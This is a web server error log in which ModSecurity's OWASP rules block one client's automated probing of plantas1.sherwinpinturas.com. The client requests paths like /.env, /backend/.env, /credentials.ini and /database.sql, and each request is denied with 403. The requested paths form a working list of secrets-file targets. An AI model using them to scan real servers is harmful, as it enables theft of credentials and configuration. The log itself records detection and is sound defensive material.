[Tue Oct 27 11:27:21.091922 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auDC2VoIklFaGsOHQ-PJEgAAAAw"]
[Tue Oct 27 11:27:21.091950 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaOwAAAAs"]
[Tue Oct 27 11:27:21.092098 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaOwAAAAs"]
[Tue Oct 27 11:27:21.092328 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaOwAAAAs"]
[Tue Oct 27 11:27:21.129539 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auDC2ak5WBwWuEHXa74CswAAAAc"]
[Tue Oct 27 11:27:21.129747 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auDC2ak5WBwWuEHXa74CswAAAAc"]
[Tue Oct 27 11:27:21.130071 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auDC2ak5WBwWuEHXa74CswAAAAc"]
[Tue Oct 27 11:27:21.130763 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBiAAAABI"]
[Tue Oct 27 11:27:21.130909 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBiAAAABI"]
[Tue Oct 27 11:27:21.131153 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBiAAAABI"]
[Tue Oct 27 11:27:21.132297 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auDC2eDGYG7bZ6qVgjrpPAAAABA"]
[Tue Oct 27 11:27:21.132452 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auDC2eDGYG7bZ6qVgjrpPAAAABA"]
[Tue Oct 27 11:27:21.132706 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auDC2eDGYG7bZ6qVgjrpPAAAABA"]
[Tue Oct 27 11:27:21.168942 2026] [proxy_fcgi:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 11:27:21.205510 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtAAAAAc"]
[Tue Oct 27 11:27:21.205712 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtAAAAAc"]
[Tue Oct 27 11:27:21.205983 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtAAAAAc"]
[Tue Oct 27 11:27:21.208945 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auDC2TEbFPv4b_SwB77hbQAAAAo"]
[Tue Oct 27 11:27:21.209088 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auDC2TEbFPv4b_SwB77hbQAAAAo"]
[Tue Oct 27 11:27:21.209304 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auDC2TEbFPv4b_SwB77hbQAAAAo"]
[Tue Oct 27 11:27:21.220564 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auDC2UogvnxwSoGhv_BPFAAAAA4"]
[Tue Oct 27 11:27:21.220800 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auDC2UogvnxwSoGhv_BPFAAAAA4"]
[Tue Oct 27 11:27:21.221070 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auDC2UogvnxwSoGhv_BPFAAAAA4"]
[Tue Oct 27 11:27:21.245150 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDC2RQ4PArk8zmfF_xaPQAAAAs"]
[Tue Oct 27 11:27:21.245461 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDC2RQ4PArk8zmfF_xaPQAAAAs"]
[Tue Oct 27 11:27:21.245703 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDC2RQ4PArk8zmfF_xaPQAAAAs"]
[Tue Oct 27 11:27:21.281469 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtQAAAAc"]
[Tue Oct 27 11:27:21.281710 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtQAAAAc"]
[Tue Oct 27 11:27:21.281898 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBigAAABI"]
[Tue Oct 27 11:27:21.282020 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtQAAAAc"]
[Tue Oct 27 11:27:21.282060 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBigAAABI"]
[Tue Oct 27 11:27:21.282307 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBigAAABI"]
[Tue Oct 27 11:27:21.321780 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaPgAAAAs"]
[Tue Oct 27 11:27:21.321959 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaPgAAAAs"]
[Tue Oct 27 11:27:21.322221 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaPgAAAAs"]
[Tue Oct 27 11:27:21.357807 2026] [proxy_fcgi:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 11:27:21.359290 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auDC2eDGYG7bZ6qVgjrpPwAAABA"]
[Tue Oct 27 11:27:21.359443 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auDC2eDGYG7bZ6qVgjrpPwAAABA"]
[Tue Oct 27 11:27:21.359444 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auDC2TEbFPv4b_SwB77hbwAAAAo"]
